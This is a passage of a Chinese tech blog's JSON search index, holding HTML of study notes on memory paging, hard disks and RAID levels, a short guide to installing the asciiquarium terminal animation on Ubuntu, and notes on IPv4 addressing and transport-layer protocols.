src=\"https://xeonds.github.io/img/Pasted%20image%2020230603232901.png\"/\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e段页式存储器:先分段,每个段再分页。这需要段表和页表,它们都由操作系统管理。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e由于页表本身很大,因此引入了一个CPU内部的Cache用来存储TLB,而慢表存储在主存中。虚拟地址和Cache地址一样,也是把物理地址转化来得到的。每一个段的大小是4KB,页则是由若干个段构成。段有额外的位用于标记读写执行情况。段内有偏移,页内也有偏移。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e注意:页/段页都是以页为基础单位来和磁盘交换数据的,只有段式是以段为单位和磁盘交换的。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e页表级数为i,则$\\frac{2^P}{B_e}^i=2^V$,简化得:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ei=\\frac{log_2 2^V}{log_2 2^P-log_2 B^e}=\\frac{V}{P-log_2 B^e}=\\frac{V}{P-N_e}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e其中,$V$是虚页号的位数,$P$是页内偏移的位数,$N_e$是页表每一项需要几位编址。\u003c/p\u003e\u003ch2 id=\"4-5-外存储器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-5-%E5%A4%96%E5%AD%98%E5%82%A8%E5%99%A8\" class=\"headerlink\" title=\"4.5.外存储器\"\u003e\u003c/a\u003e4.5.外存储器\u003c/h2\u003e\u003cp\u003e磁盘特点:\u003c/p\u003e\u003cul\u003e\u003cli\u003e优点:存储容量大,单位价格低、记录介质可重复使用、可长期脱机保存、非破坏性读出\u003c/li\u003e\u003cli\u003e缺点:存取速度慢、机械结构复杂、工作环境要求高\u003c/li\u003e\u003c/ul\u003e\u003col\u003e\u003cli\u003e磁记录原理\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e写入:磁头通不同方向的电流,就能在磁化材料上留下不同方向的磁场。\u003c/li\u003e\u003cli\u003e读取:原来是磁头切割磁感线,电流方向就是信息。现在是GMR效应,读取使用单独的头,能实现更高的容量。从LMR到垂直记录技术(PMR)的改进也大幅提高了磁盘容量。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e记录方式,和计算机网络中的编码是相似的,有RZ,NRZ,NRZ1,FM,MFM,PM等:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230603235144.png\"/\u003e\u003c/p\u003e\u003cp\u003e这是磁盘的结构,一般民用磁盘大气压和外界一样的,高速旋转时,会在表面形成气垫,托起磁头。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230603235245.png\"/\u003e\u003c/p\u003e\u003col start=\"2\"\u003e\u003cli\u003e硬盘的数据记录格式\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e磁盘内部物理地址\u003cul\u003e\u003cli\u003e柱面 \u003cstrong\u003eC\u003c/strong\u003eylinder\u003c/li\u003e\u003cli\u003e记录区 \u003cstrong\u003eH\u003c/strong\u003eead\u003c/li\u003e\u003cli\u003e扇区 \u003cstrong\u003eS\u003c/strong\u003eector\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e结构方面,单个面分为一个一个的环,称为\u003cstrong\u003e磁道(Tracks)\u003c/strong\u003e。几个盘面上的同位置的磁道组合起来称为一个\u003cstrong\u003e柱面(Cyinder)\u003c/strong\u003e。磁盘上一个扇形区域称为一个\u003cstrong\u003e扇区(Sectors)\u003c/strong\u003e。\u003c/p\u003e\u003col start=\"3\"\u003e\u003cli\u003e主要技术指标\u003c/li\u003e\u003c/ol\u003e\u003cul\u003e\u003cli\u003e道密度:道/mm,道/英寸\u003c/li\u003e\u003cli\u003e位密度:bit/mm,bit/英寸\u003c/li\u003e\u003cli\u003e存储容量\u003cul\u003e\u003cli\u003e非格式化容量=位密度x内圈磁道周长x每个记录面的磁道数x记录面数\u003c/li\u003e\u003cli\u003e格式化容量=每个扇区的字节数x每道扇区数x每个记录面磁道数x记录面数\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617192822.png\"/\u003e\u003c/p\u003e\u003cp\u003e存储容量如上,有两种。早期为方便管理,将所有磁道等分为相同的扇区数。\u003cstrong\u003e磁道外圈可靠性最高(因为外圈的词单元尺寸最大,所以最可靠),从外圈开始编号\u003c/strong\u003e。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e平均访问时间\u003c/strong\u003e:平均寻道时间+平均等待时间(转半圈的速度)+数据传输时间,是毫秒级别的参数。\u003c/li\u003e\u003cli\u003e转速:RPM(转/分钟)\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e数据传输速率\u003c/strong\u003e:磁头找到数据地址后,单位时间读/写的字节数。计算方法为:$\\text{每个扇区的字节数}\\times\\text{每道扇区数}\\times\\text{磁盘转速}$\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617194108.png\"/\u003e\u003c/p\u003e\u003cp\u003e上面是2001年生产的硬盘参数,能从参数看出磁盘对加工精度的极高要求。下面是一个硬盘容量计算的例题。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617194904.png\"/\u003e\u003c/p\u003e\u003cp\u003e受限于磁盘的物理原理,磁盘的随机访问性能相对比较差。因此,引入了磁盘阵列RAID。\u003c/p\u003e\u003ch4 id=\"4-5-1-磁盘阵列RAID\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-5-1-%E7%A3%81%E7%9B%98%E9%98%B5%E5%88%97RAID\" class=\"headerlink\" title=\"4.5.1.磁盘阵列RAID\"\u003e\u003c/a\u003e4.5.1.磁盘阵列RAID\u003c/h4\u003e\u003cblockquote\u003e\u003cp\u003e这部分内容了解就行(\u003cdel\u003e不了解也行\u003c/del\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e作用就是通过设置重复设备,来提高整体的性能和可靠性。详细可以看这本书:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617195224.png\" alt=\"这俩也是很猛的佬,整了个硅谷出来。MIPS处理器也是他们设计的\"/\u003e\u003c/p\u003e\u003cp\u003eRAID全称呼:独立冗余磁盘阵列(Redundant Array of Independent Disks)。不过刚开始I表示的是Inexpensive,廉价。\u003c/p\u003e\u003ch5 id=\"RAID0:无冗余\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID0%EF%BC%9A%E6%97%A0%E5%86%97%E4%BD%99\" class=\"headerlink\" title=\"RAID0:无冗余\"\u003e\u003c/a\u003eRAID0:无冗余\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617195645.png\"/\u003e\u003c/p\u003e\u003cp\u003e性能高,但是可靠性不高。并且需要至少两块硬盘。\u003c/p\u003e\u003ch5 id=\"RAID1:两块盘互为镜像\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID1%EF%BC%9A%E4%B8%A4%E5%9D%97%E7%9B%98%E4%BA%92%E4%B8%BA%E9%95%9C%E5%83%8F\" class=\"headerlink\" title=\"RAID1:两块盘互为镜像\"\u003e\u003c/a\u003eRAID1:两块盘互为镜像\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617195818.png\"/\u003e\u003c/p\u003e\u003ch5 id=\"RAID0-1-x2F-RAID01\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID0-1-x2F-RAID01\" class=\"headerlink\" title=\"RAID0+1/RAID01\"\u003e\u003c/a\u003eRAID0+1/RAID01\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617195914.png\"/\u003e\u003c/p\u003e\u003ch5 id=\"RAID1-0-x2F-RAID10\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID1-0-x2F-RAID10\" class=\"headerlink\" title=\"RAID1+0/RAID10\"\u003e\u003c/a\u003eRAID1+0/RAID10\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617195925.png\"/\u003e\u003c/p\u003e\u003ch5 id=\"RAID2:冗余使用汉明码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID2%EF%BC%9A%E5%86%97%E4%BD%99%E4%BD%BF%E7%94%A8%E6%B1%89%E6%98%8E%E7%A0%81\" class=\"headerlink\" title=\"RAID2:冗余使用汉明码\"\u003e\u003c/a\u003eRAID2:冗余使用汉明码\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617195959.png\"/\u003e\u003c/p\u003e\u003ch5 id=\"RAID3:位交错奇偶校验\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID3%EF%BC%9A%E4%BD%8D%E4%BA%A4%E9%94%99%E5%A5%87%E5%81%B6%E6%A0%A1%E9%AA%8C\" class=\"headerlink\" title=\"RAID3:位交错奇偶校验\"\u003e\u003c/a\u003eRAID3:位交错奇偶校验\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617200046.png\"/\u003e\u003c/p\u003e\u003cp\u003e不能并发读写\u003c/p\u003e\u003ch5 id=\"RAID4:块级奇偶校验\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID4%EF%BC%9A%E5%9D%97%E7%BA%A7%E5%A5%87%E5%81%B6%E6%A0%A1%E9%AA%8C\" class=\"headerlink\" title=\"RAID4:块级奇偶校验\"\u003e\u003c/a\u003eRAID4:块级奇偶校验\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617200221.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以并发读取,不过不能并发写入。\u003c/p\u003e\u003ch5 id=\"RAID5\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID5\" class=\"headerlink\" title=\"RAID5\"\u003e\u003c/a\u003eRAID5\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617200316.png\"/\u003e\u003c/p\u003e\u003ch5 id=\"RAID6\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#RAID6\" class=\"headerlink\" title=\"RAID6\"\u003e\u003c/a\u003eRAID6\u003c/h5\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617200331.png\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230617200357.png\"/\u003e\u003c/p\u003e\u003ch2 id=\"4-6-Cache一致性协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-6-Cache%E4%B8%80%E8%87%B4%E6%80%A7%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"4.6.Cache一致性协议\"\u003e\u003c/a\u003e4.6.Cache一致性协议\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e了解就行\u003c/p\u003e\u003c/blockquote\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/"},{"title":"试试终端养鱼(Linux)!","time":"2023-05-31T13:17:06Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e我在Ubuntu上得安装点依赖,主要是Cursor和Animation;剩下的很简单。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 安装curse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo apt-get install libcurses-perl\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 安装Animation\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ewget http://search.cpan.org/CPAN/authors/id/K/KB/KBAUCOM/Term-Animation-2.4.tar.gz\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etar -zxvf Term-Animation-2.4.tar.gz ; \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e Term-Animation-2.4/\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eperl Makefile.PL \u0026amp;\u0026amp; make\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emake install; \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e ..\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 安装asciiquarium本体\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ewget http://www.robobunny.com/projects/asciiquarium/asciiquarium.tar.gz\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etar -zxvf asciiquarium.tar.gz\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e asciiquarium_1.1/\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo \u003cspan class=\"built_in\"\u003ecp\u003c/span\u003e asciiquarium /usr/local/bin\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo \u003cspan class=\"built_in\"\u003echmod\u003c/span\u003e +x /usr/local/bin/asciiquarium\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003easciiquarium \u003cspan class=\"comment\"\u003e#如果不行的话,重启终端\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e效果这样:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230531212306.png\" alt=\"这不挺好\"/\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/05/31/%E8%AF%95%E8%AF%95%E7%BB%88%E7%AB%AF%E5%85%BB%E9%B1%BC%EF%BC%88Linux%EF%BC%89%EF%BC%81/"},{"title":"计网笔记:第四部分-网络层","time":"2023-05-24T08:33:07Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"Chap-19-逻辑寻址\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#Chap-19-%E9%80%BB%E8%BE%91%E5%AF%BB%E5%9D%80\" class=\"headerlink\" title=\"Chap.19.逻辑寻址\"\u003e\u003c/a\u003eChap.19.逻辑寻址\u003c/h2\u003e\u003cp\u003e逻辑层通信的实现基础。TCP/IP实现了这个全球寻址方案。IP地址分为IPV4和IPV6两种,后者是前者的升级版本,目前前者在主要使用。\u003c/p\u003e\u003cp\u003eIPV4地址有$2^{32}$个,因为它的长度是32位,也就是四个字节。下面主要讨论的是IPV4。\u003c/p\u003e\u003ch3 id=\"IPV4地址\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#IPV4%E5%9C%B0%E5%9D%80\" class=\"headerlink\" title=\"IPV4地址\"\u003e\u003c/a\u003eIPV4地址\u003c/h3\u003e\u003cul\u003e\u003cli\u003e32位长\u003c/li\u003e\u003cli\u003e唯一且通用\u003c/li\u003e\u003cli\u003e地址空间是$2^{32}$\u003c/li\u003e\u003cli\u003e标记法有二进制标记法,和十进制点分标记法(常用每位范围从0-255)\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"分类寻址\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#%E5%88%86%E7%B1%BB%E5%AF%BB%E5%9D%80\" class=\"headerlink\" title=\"分类寻址\"\u003e\u003c/a\u003e分类寻址\u003c/h4\u003e\u003cp\u003e这种方法将地址空间分为ABCDE这5类。ip地址开头4位就能确定地址的类。\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"left\"\u003e前4位\u003c/th\u003e\u003cth\u003e第一个字节\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e0000\u003c/td\u003e\u003ctd\u003e0-127\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e1000\u003c/td\u003e\u003ctd\u003e128-191\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e1100\u003c/td\u003e\u003ctd\u003e192-223\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e1110\u003c/td\u003e\u003ctd\u003e224-239\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e1111\u003c/td\u003e\u003ctd\u003e240-255\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch2 id=\"Chap-23-UDP、TCP和SCTP\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#Chap-23-UDP%E3%80%81TCP%E5%92%8CSCTP\" class=\"headerlink\" title=\"Chap.23.UDP、TCP和SCTP\"\u003e\u003c/a\u003eChap.23.UDP、TCP和SCTP\u003c/h2\u003e\u003cp\u003e这三个是传输层的协议。UDP较为简单,其次是复杂的TCP协议。最后的SCTP仅了解。\u003c/p\u003e\u003ch3 id=\"进程到进程的传递\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#%E8%BF%9B%E7%A8%8B%E5%88%B0%E8%BF%9B%E7%A8%8B%E7%9A%84%E4%BC%A0%E9%80%92\" class=\"headerlink\" title=\"进程到进程的传递\"\u003e\u003c/a\u003e进程到进程的传递\u003c/h3\u003e\u003cp\u003e传输层负责的是进程到进程的传递。\u003c/p\u003e\u003ch4 id=\"客户-x2F-服务器模式\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#%E5%AE%A2%E6%88%B7-x2F-%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%A8%A1%E5%BC%8F\" class=\"headerlink\" title=\"客户/服务器模式\"\u003e\u003c/a\u003e客户/服务器模式\u003c/h4\u003e\u003cp\u003e在web2最常用的就是C/S模式。为了传输时的标识,需要确定本地/远程的主机和进程。\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e寻址:传输层需要端口号来标识进程ID,服务器和客户端都是如此。不过前者规定比较严格,后者可以随机选择一个。这一般是由IANA统一管理的。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e套接字地址:将IP和端口号结合起来就得到了套接字地址(socket address)。传输层协议需要客户套接字地址和服务器套接字地址。这四条信息是IP头部和传输层协议头部的组成部分。IP头包含IP地址,UDP/TCP头包含端口号。\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"复用-x2F-分离\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#%E5%A4%8D%E7%94%A8-x2F-%E5%88%86%E7%A6%BB\" class=\"headerlink\" title=\"复用/分离\"\u003e\u003c/a\u003e复用/分离\u003c/h4\u003e\u003cp\u003e寻址机制可以通过传输层进行复用和分离。也就是,同时刻选择一个待发送的分组进行发送(复用),同时刻选择一个待接受的进程分发分组。\u003c/p\u003e\u003ch4 id=\"无连接-x2F-面向连接服务\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#%E6%97%A0%E8%BF%9E%E6%8E%A5-x2F-%E9%9D%A2%E5%90%91%E8%BF%9E%E6%8E%A5%E6%9C%8D%E5%8A%A1\" class=\"headerlink\" 